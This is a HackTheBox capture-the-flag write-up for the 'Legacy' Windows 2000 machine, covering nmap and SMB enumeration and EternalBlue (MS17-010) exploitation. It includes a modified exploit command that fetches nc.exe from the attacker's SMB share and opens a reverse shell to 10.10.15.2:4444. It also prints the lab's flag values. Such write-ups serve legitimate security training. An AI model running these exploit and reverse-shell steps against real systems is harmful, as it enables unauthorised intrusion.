> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/legacy-hackthebox-writeup.md). # Legacy HackTheBox Writeup Legacy HackTheBox Easy Windows machine writeup covering SMB enumeration and MS17-010 EternalBlue exploitation. {% embed url="" %} {% hint style="warning" %} **Skills:** * SMB Enumeration * MS17-010 EternalBlue Exploitation (Triple Z Exploit) {% endhint %} ## Reconnaissance ### Environment setup Create a working directory and initialize the environment. {% code overflow="wrap" %} ```bash mkdir Legacy cd Legacy mkt ``` {% endcode %}
### Target configuration Set the target and confirm that it responds as a Windows host. {% code overflow="wrap" %} ```bash settarget 10.129.227.181 Legacy ping -c 1 10.129.227.181 ``` {% endcode %}
### Port scanning Scan all TCP ports for open services. {% code overflow="wrap" %} ```bash sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.227.181 -oG allPorts ``` {% endcode %}
Extract the discovered ports from the scan output. {% code overflow="wrap" %} ```bash extractPorts allPorts ``` {% endcode %} **Open ports:** `135`, `139`, and `445`. Review the identified services.
Run a targeted version and default-script scan. Port `445` exposes Microsoft-DS SMB. {% code overflow="wrap" %} ```bash sudo nmap -sCV -p 135,139,445 10.129.227.181 -oN targeted ``` {% endcode %}
### SMB enumeration Attempt anonymous enumeration and authentication. Neither attempt succeeds. {% code overflow="wrap" %} ```bash smbmap -H 10.129.227.181 smbclient -L 10.129.227.181 -N ``` {% endcode %}
The operating system is identified as Windows 2000, an outdated Windows release.
### Vulnerability research Search for public SMB exploits affecting Windows 2000: `Windows 2000 LAN Manager exploit smb github` Several public scripts target vulnerabilities in this legacy Windows version.
Use this Exploit-DB resource for the Windows EternalBlue vulnerability. {% embed url="" %} Validate the vulnerability with an Nmap script scan. {% code overflow="wrap" %} ```bash nmap --script "vuln and safe" -p445 10.10.10.4 -oN smbScan ``` {% endcode %} The scan confirms that the target is vulnerable.
### Exploitation Use the following MS17-010 project. {% embed url="" %} Edit the `zzzz` file. Comment out the following line: {% code overflow="wrap" %} ```bash #service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt') ``` {% endcode %} Copy `nc.exe` into the working directory. {% code overflow="wrap" %} ```bash cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe . ``` {% endcode %} Share the current directory over SMB to transfer the binary. {% code overflow="wrap" %} ```bash smbserver.py share $(pwd) -smb2support ``` {% endcode %}
Update the script with the SMB path and reverse-shell command below. ### Reverse shell Start a listener on port `4444`. {% code overflow="wrap" %} ```bash rlwrap nc -nvlp 4444 ``` {% endcode %} Replace the command in the script with: {% code overflow="wrap" %} ```bash service_exec(conn, r'cmd.exe /c copy \\10.10.15.2\share\nc.exe C:\Windows\Temp\nc.exe && C:\Windows\Temp\nc.exe -e cmd.exe 10.10.15.2 4444') ``` {% endcode %}
### Flags Retrieve the user flag. {% code overflow="wrap" %} ```bash type "C:\Documents and Settings\john\Desktop\user.txt" ``` {% endcode %} * e69af0e4f443de7e36876fda4ec7644f The shell also provides access to the Administrator flag. {% code overflow="wrap" %} ```bash type "C:\Documents and Settings\Administrator\Desktop\root.txt" ``` {% endcode %} * 993442d258b0e0ec917cae9e695d5713
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/legacy-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.